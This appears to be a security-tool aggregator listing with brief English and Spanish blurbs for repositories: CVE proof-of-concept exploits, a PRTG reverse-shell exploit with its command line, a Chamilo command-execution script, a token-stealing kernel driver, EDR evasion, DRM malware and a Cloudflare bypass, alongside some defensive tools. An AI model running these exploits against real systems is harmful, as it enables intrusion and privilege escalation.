DRMBinViaOrdinalImports

DRMBinViaOrdinalImports - Create Anti-Copy DRM Malware Quick Links Maldev Academy Home Maldev Academy Syllabus Maldev Academy Pricing Summary This repository uses a technique to modify a program's Import Address Table IAT by replacing the imported function names with their corresponding ordinals,...

Tokenizer

Tokenizer Tokenizer es un proyecto de controlador en modo kernel que permite el reemplazo de un token de proceso en EPROCESS con un token de sistema, elevando efectivamente los privilegios del proceso, El controlador está diseñado para usarse con una aplicación en modo usuario que envía un ID de...

CVE-2018-11235-PoC

PoC exploit para CVE-2018-11235 root@kitploit: repository: http://REDACTED/2018-11235PoC.git/ return: Submodule 'aaa' https://repo1 registered for path 'aaa' Submodule '../../fakegit/modules/evil' https://repo2 registered for path 'evil' Submodule path 'aaa': checked out...

CVE-2017-0290-

CVE-2017-0290- Hola, soy Gihad Alkmaty de Libia script CVE-2017-0290- especialista en aplastar Windows DEFINDER windows/8.1/10/...

CVE-2018-9276

CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 Reverse Shell Python3 support Dependancies Impacket python3 version Netcat Msfvenom Usage root@kitploit: git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password...

Argos

Argos — Blockchain Asset Tracing Platform Argos is a multi-language blockchain investigation platform for tracing, analyzing, and visualizing fund flows on Ethereum and Bitcoin. Built with Rust, OCaml, and TypeScript/React. Architecture root@kitploit: +-----------------------+ | Frontend React 19...

scopeblind-gateway

protect-mcp Pasarela de políticas Cedar de cierre ante fallos más recibos firmados para llamadas a herramientas de agentes de IA. protect-mcp es una puerta de enlace que se sitúa frente a las llamadas a herramientas de un agente de IA. Evalúa cada llamada contra una política Cedar el mismo lengua...

policymaker

policymaker Generate a real vulnerability-disclosure policy — VDP, safe harbor, security.txt & DNS Security TXT — in minutes. No lawyer required...

Exploit-CVE-2017-6008

Exploit-CVE-2017-6008 The CVE-2017-6008 is a vulnerability in the HitmanPro scan that allows privilege escalation by exploiting a kernel pool buffer overflow. The exploits here use the Quota Process Pointer Overwrite attack as described in the Tarjei Mandt's paper Also, the exploits use my Pool...

ExchangeFinder

ExchangeFinder ExchangeFinder es una herramienta simple y de código abierto que intenta encontrar una instancia de Microsoft Exchange para un dominio dado basándose en los nombres DNS más comunes para Microsoft Exchange. ExchangeFinder puede identificar la versión exacta de Microsoft Exchange des...

ipsw

ipsw iOS/macOS Research Swiss Army Knife What is ipsw 🤔 ipsw is a comprehensive command-line research framework for iOS and macOS. It provides an extensive toolkit for security researchers, reverse engineers, jailbreak developers, and iOS enthusiasts to download, parse, and analyze Apple firmware...

one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

CVE-2026-70638 - llama.cpp LLaMA-Android JNI Integer Overflow Companion PoC for the Hunt-Benito article "One Multiply Too Many: CVE-2026-70638 — Integer Overflow in llama.cpp's Android JNI Heap Allocation" →...

PS5-UMTX-Jailbreak

PSFree version 1.4.0 PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write. vulnerable: PS4 6.xx-9.xx tested 6.00-9.60 PS5 1.xx-5.xx tested 1.00-5.50 CREDITS: anonymous for PS4 firmware kernel dumps janisslsm from ps4-dev on discord.com contributed ROP chain managers for 8....

CVE-2023-34960

ChamiloCVE-2023-34960-EXP Help: root@kitploit: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional...

hookchain

Hookchain Abstract - EN In the current digital security ecosystem, where threats evolve rapidly and with complexity, companies developing Endpoint Detection and Response EDR solutions are in constant search for innovations that not only keep up but also anticipate emerging attack vectors. In this...

CVE-2026-24061-lab

CVE-2026-24061 — Reproduction Lab ⚠️ For educational purposes only. Isolated lab environment. Français ci-dessous Summary Critical authentication bypass CVSS 9.8 in GNU InetUtils telnetd ≤ 2.7. By injecting -f root as the USER variable via the Telnet NEWENVIRON option, an unauthenticated attacker...

Docker IPsec VPN Server

English | 简体中文 | 繁體中文 | Русский Servidor VPN IPsec en Docker Imagen de Docker para ejecutar un servidor VPN IPsec, con IPsec/L2TP, Cisco IPsec e IKEv2. Basado en Alpine 3.23 o Debian 12 con Libreswan software VPN IPsec y xl2tpd demonio L2TP. Una VPN IPsec cifra tu tráfico de red, de modo que nadi...

TERM1B1TB0T

TERMI₿IT₿OT 🤖 Una herramienta básica que rastrea transacciones de Bitcoin en tiempo real por encima o por debajo de un objetivo de precio particular usando una API websocket en tu terminal. PASO A PASO: WINDOWS -Paso 1: Instalar Python si no está instalado aún Download from python.org Durante la...

Cloudflare-Bypass

Cloudflare-Bypass Herramientas de Bypass de Cloudflare | PentestCore Es una herramienta para evadir Cloudflare que puedes usar para obtener la IP principal del servidor del sitio. Cómo usar Linux : Ingrese el siguiente comando en la terminal : git clone...

PCWT

PCWT Una aplicación web que facilita la ejecución de tus proyectos de pentest y bug bounty. Descripción La aplicación proporciona una interfaz web conveniente para trabajar con varios tipos de archivos que se utilizan durante el pentest, automatizar el escaneo de puertos y la búsqueda de...